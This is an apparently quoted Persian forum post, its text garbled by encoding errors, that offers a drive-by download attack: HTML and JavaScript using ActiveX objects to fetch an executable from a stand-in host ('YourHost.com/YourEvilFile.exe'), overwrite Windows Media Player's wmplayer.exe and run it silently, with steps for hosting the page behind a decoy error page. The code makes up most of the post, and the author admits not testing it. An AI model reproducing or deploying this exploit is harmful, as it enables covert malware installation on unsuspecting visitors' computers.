نوشته اصلی توسط passw0rd68
نمایش پست ها
Ùرستادن Ùˆ اجراي يك Ùايل از طريق سايت بصورت مخÙÙŠ در كامپيوتر هدÙ!
با روشي كه توضيخ خواهم داد شما مي توانيد از طريق يك سايت Ùايلي را در كامپيوتر هد٠خود دانلود Ùˆ سپس اجرا كنيد! راه Ù†Ùوذ اين روش از طريق سر ريز شدن اينترنت اكسپلورر 6 Ùˆ مديا پلير هست.
1. يك Ùايل با پسوند HTML تشكيل دهيد Ùˆ كد زير را در آن قرار دهيد:
CODE
کد PHP:
<textarea id="code" style="display:none;">
var x = new ActiveXObject("Microsoft.XMLH TTP");
x.Open("GET", "http://YourHost.com/YourEvilFile.exe",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
location.href = "mms://";
</textarea>
Wait a couple of seconds..
<****** language="**********">
function preparecode(code) {
result = '';
lines = code.split(/\r\n/);
for (i=0;i<lines.length;i++) {
line = lines;
line = line.replace(/^\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\\'");
line = line.replace(/[\\]/g,"\\\\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.c ode.value);
myURL = "file:**********:eval('" + mycode + "')";
window.open(myURL,"_media")
}
window.open("error.jsp","_media");
setTimeout("doit()", 5000);
</******>
اگر هد٠شما مديا پلير را در شاخه يا داريوي غير از C:\\Program Files\\Windows Media Player\\wmplayer.exe نصب كرده است اين قسمت را نيز تغيير دهيد.
2. يك Ùايل ديگر با نام error.jsp تشكيل دهيد Ùˆ داخل آن هر كد html كه مي خواهيد قرار دهيد. چون هد٠شما در هنگام دانلود Ùˆ اجرا شدن Ùايل صÙØÙ‡ درون Ùايل error.jsp را مي بيند.
3. Øالا Ùايل html Ùˆ error.jsp را در يك شاخه روي يك Ùضا رايگاني كه از يك سرور مثل http://www.angelfire.com گرÙته ايد آپ لود كنيد.
4. از Ùايل اجرايي مديا پلير خود wmplayer.exe يك كپي تهيه كنيد چون اØتمال دارد خراب شود
5. وارد صÙØÙ‡ html كه ساخته بوديد از طريق اينترنت اكسپلورر شويد. مثلا http://www.angelfire.com/youaccoundname/index.html
6. Ùايل بدون هيچ اخطاري دانلود شده Ùˆ بجاي Ùايل اجرايي مديا پلير ميشيند Ùˆ سپس اجرا مي شود.
البته من امتØانش نکردم
Comment